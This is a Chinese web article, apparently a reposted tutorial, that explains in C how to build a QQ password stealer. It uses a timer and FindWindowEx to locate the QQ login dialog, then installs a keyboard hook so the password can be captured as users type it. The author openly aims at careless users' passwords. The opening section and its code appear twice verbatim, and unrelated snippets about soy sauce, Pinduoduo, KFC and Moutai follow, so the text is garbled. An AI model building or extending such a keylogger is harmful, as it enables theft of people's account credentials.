盜QQ的密碼軟件模擬實現技術
軟件技術2.99W
最近天氣太熱,外加無聊,出於練習的目的,想到了寫個盜QQ的軟件,説“盜”,未免是太難聽了吧,於是我給它起名為“UiQQ道”.
一般的盜密碼的軟件的軟件都是通過監視鍵盤來獲得密碼,這樣操作比較方便,但是這樣也存在一定問題,密碼有的時候不是很準確,因為有的人輸入密碼並不是從前到後輸入,當然這樣的人也是少數,盜密碼嘛,當然去得到那些比較粗心的人的密碼! 通過安裝鈎子來監視QQ登陸界面就是獲得密碼的方法,在安裝前得先找到登陸窗口的句柄,當鈎子安裝後,記錄鍵盤,當用户“回車”或是點了“登陸”就可以開始處理密碼了! 我準備分為四部分來説明這個整個過程:
(1)尋找QQ登陸界面。
(2)安裝鈎子
(3)鈎子函數的解釋.
(4)處理密碼。
以下部分全是使用C語言,文章中我假設讀者您是會C/SDK編程的。如果遇到相關的概念性問題,您可以查看MSDN或是上BBS 詢問!
第一部分:(1)尋找QQ登陸界面。
軟件運行後,利用安裝定時器,每秒在系統找QQ登陸界面,這樣基本上只要用户打開了QQ登陸界面就會被抓住其句柄,看下面代碼:
#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
安裝好TIMER後,下面是處理主程序的WM_TIMER消息,凡是出現沒有定義的變量,您可以理解為是全局變量.
//處理WM_TIMER代碼
if (!IsWindow(g_hQQLogin)) //判斷g_hQQLogin是否是有效的窗口句柄
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); //參數為NULL是卸載HOOK,參數為句柄是安裝句柄
do
{
//利用FindWindowEx查找QQ登陸窗口,具體參數意思請查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //對話框的類都是#32770
//找到類名是#32770後,再在其窗體內找一個具有“ 登錄QQ”的BUTTON按紐
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登錄QQ"); //這一句很關鍵,如果你的QQ登陸窗口上沒有" 登錄QQ"字樣,那麼獲取密碼將失敗!
}
while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陸窗口
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//安裝HOOK,此函數在DLL文件中 第二部分中介紹
}
}
上面就是查找QQ登陸窗口句柄的過程,從代碼可以看出我用的方法:找一個其子窗體中有一個標題為“ 登錄QQ”的BUTTON的對話框(這句話説得有點饒口,這句話如果也看不懂,下面您不用看了:() 我最開始是想利用 FindWindow(NULL,"QQ用户登陸窗口")來查找,但是我用Spy++看了QQ登陸窗口的標題並不是“QQ用户登陸窗口”,而是“亂碼”,其中包含了回車鍵等特殊字符,於是我用了FindWindowEx().
一般的盜密碼的軟件的軟件都是通過監視鍵盤來獲得密碼,這樣操作比較方便,但是這樣也存在一定問題,密碼有的時候不是很準確,因為有的人輸入密碼並不是從前到後輸入,當然這樣的人也是少數,盜密碼嘛,當然去得到那些比較粗心的人的密碼! 通過安裝鈎子來監視QQ登陸界面就是獲得密碼的方法,在安裝前得先找到登陸窗口的句柄,當鈎子安裝後,記錄鍵盤,當用户“回車”或是點了“登陸”就可以開始處理密碼了! 我準備分為四部分來説明這個整個過程:
(1)尋找QQ登陸界面。
(2)安裝鈎子
(3)鈎子函數的解釋.
(4)處理密碼。
以下部分全是使用C語言,文章中我假設讀者您是會C/SDK編程的。如果遇到相關的概念性問題,您可以查看MSDN或是上BBS 詢問!
第一部分:(1)尋找QQ登陸界面。
軟件運行後,利用安裝定時器,每秒在系統找QQ登陸界面,這樣基本上只要用户打開了QQ登陸界面就會被抓住其句柄,看下面代碼:
#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL);
安裝好TIMER後,下面是處理主程序的WM_TIMER消息,凡是出現沒有定義的變量,您可以理解為是全局變量.
//處理WM_TIMER代碼
if (!IsWindow(g_hQQLogin)) //判斷g_hQQLogin是否是有效的窗口句柄
{
HWND hLogin=NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); //參數為NULL是卸載HOOK,參數為句柄是安裝句柄
do
{
//利用FindWindowEx查找QQ登陸窗口,具體參數意思請查MSDN
g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //對話框的類都是#32770
//找到類名是#32770後,再在其窗體內找一個具有“ 登錄QQ”的BUTTON按紐
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登錄QQ"); //這一句很關鍵,如果你的QQ登陸窗口上沒有" 登錄QQ"字樣,那麼獲取密碼將失敗!
}
while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陸窗口
if (g_hQQLogin != NULL)
{
SetQQHook(g_hQQLogin);//安裝HOOK,此函數在DLL文件中 第二部分中介紹
}
}
上面就是查找QQ登陸窗口句柄的過程,從代碼可以看出我用的方法:找一個其子窗體中有一個標題為“ 登錄QQ”的BUTTON的對話框(這句話説得有點饒口,這句話如果也看不懂,下面您不用看了:() 我最開始是想利用 FindWindow(NULL,"QQ用户登陸窗口")來查找,但是我用Spy++看了QQ登陸窗口的標題並不是“QQ用户登陸窗口”,而是“亂碼”,其中包含了回車鍵等特殊字符,於是我用了FindWindowEx().
-
猜一猜:人們平時吃的醬油,釀造的主要原料是什麼?
支付寶莊園小課堂10月23日的問題是,猜一猜:人們平時吃的醬油,釀造的主要原料是什麼?如果你不清楚,可以看看文中的介紹。2023年螞蟻莊園10月23日莊園小課堂答案今天的問題是:猜一猜:人們平時吃的醬油,釀造的主要原料是什麼?答案是:大豆答案解析:人們日常吃的釀造醬油是以...
-
拼多多現金大轉盤成功教程 拼多多現金大轉盤助力0.01元寶怎麼弄?
拼多多現金大轉盤的玩法大家肯定都試過吧,每次助力的時候到最後0.01元寶或者積分的時候就各種阻撓,那大家知道現金大轉盤有沒有成功的教程經驗分享呢?下面就和小編一起來看看吧。拼多多現金大轉盤成功教程邀請的人不需要是拼多多的新用户.就是之前用過又卸載的朋...
-
肯德基聯名三麗鷗新春玩具什麼時候開始?2024肯德基三麗鷗聯名多少錢?
馬上就要到新年啦,肯德基又有大動作啦,近日網上爆出了三麗鷗聯名肯德基的新春玩具,看起來真的是很喜慶,那大家知道這次的肯德基聯名三麗鷗新春玩具的相關信息。肯德基聯名三麗鷗新春玩具什麼時候開始?1月26號。這次的肯德基聯名三麗鷗新春玩具將於1月26號開始,這次聯...
-
i茅台申購成功不付款會被平台拉黑嗎?i茅台申購成功不付款影響後期申購嗎?
茅台作為當下最熱門的品牌之一,很多人在申購的時候都沒那麼容易中籤,當然也有人擔心中籤之後不付款的話會不會被平台拉黑呢?以後的中籤率有沒有影響呢?下面就和小編一起來看看吧。i茅台申購成功不付款會被平台拉黑嗎?不會的,之前1935沒有付款,還怕幾個月都不能中獎結...